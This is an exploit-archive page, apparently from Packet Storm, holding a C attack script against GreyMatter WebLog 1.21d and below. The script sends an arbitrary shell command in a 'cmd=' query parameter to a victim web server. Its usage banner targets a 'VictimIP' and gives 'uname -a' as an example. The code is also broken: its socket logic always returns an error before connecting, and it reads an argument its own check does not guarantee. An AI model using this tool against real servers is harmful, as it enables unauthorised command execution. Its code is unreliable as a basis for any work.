what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

greymatter121d-2.c

greymatter121d-2.c
Posted Apr 1, 2006
Authored by No_Face_king | Site crouz.com

GreyMatter WebLog versions 1.21d and below remote command execution exploit.

tags | exploit, remote
SHA-256 | ad617062aff17f427e3bbad02653ce94694faa679458a3e75bfb3f7e8092f652

greymatter121d-2.c

Change Mirror Download
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#define RETCONNERR 4 // Connection error
#define RETSOCKERR 3 // Return for socket error
#define RETRESVERR 2 // Error code for cannot resolve host
#define RETOK 1 // Return OK
#pragma comment(lib,"wsock32")
#define portnum 80
int info(char *ls1);
int ConnectWithString(char *hostname,char *string);
int main(int argc,char **argv){
char buff[512]="";
char get[1024]="";
if(argc<3)
{
info(argv[0]);
return 0;
}
strcpy(buff,argv[2]);
strcat(buff,"?cmd=");
strcat(buff,argv[3]);
strcpy(get,"GET ");
strcat(get,buff);
strcat(get," HTTP/1.1");
printf("%s\n",get);
ConnectWithString(argv[1],get);
return 0;
}
int ConnectWithString(char *hostname,char *string)
{
// Socket handle
WSADATA wsda;

// Socket file descriptor
int sockfd;

// host entrie
struct hostent *h;

// Server struct
struct sockaddr_in server;

// Return value
int ret;

// Initialize socket
WSAStartup(0x0101, &wsda);

// Open a socket
// Create tcp socket
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
return RETSOCKERR;

// Cannot create socket if anything fails
else
return RETSOCKERR;

// Resolve host
if((h=gethostbyname(hostname)) == NULL)
return RETRESVERR;

// Init server struct
server.sin_addr=*((struct in_addr*)h->h_addr);
server.sin_port=htons(portnum);
server.sin_family=AF_INET;

// Connect with server
if(connect(sockfd, (struct sockaddr*)&server, sizeof(struct sockaddr)) == -1)
return RETCONNERR;

// Send string
ret = send(sockfd, string, strlen(string), 0);

// Check for socket error
if(ret == SOCKET_ERROR)
return RETSOCKERR;

// Cleanup socket
WSACleanup();

closesocket(sockfd);

// Everything OK

return RETOK;
}
int info(char *ls1){
printf("******************************************************************\n");
printf("* GREYMATTER Exploit private version *\n");
printf("* Exploit By:No_Face_King Bug By:syst3m_f4ult *\n");
printf("* www.crouz.com Great iranian security team *\n");
printf("* Usage: %s VictimIP GREYMATTER Path command *\n",ls1);
printf("* e.g: %s 192.168.0.1 /00000008.php uname -a *\n",ls1);
printf("******************************************************************\n");
return 0;
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close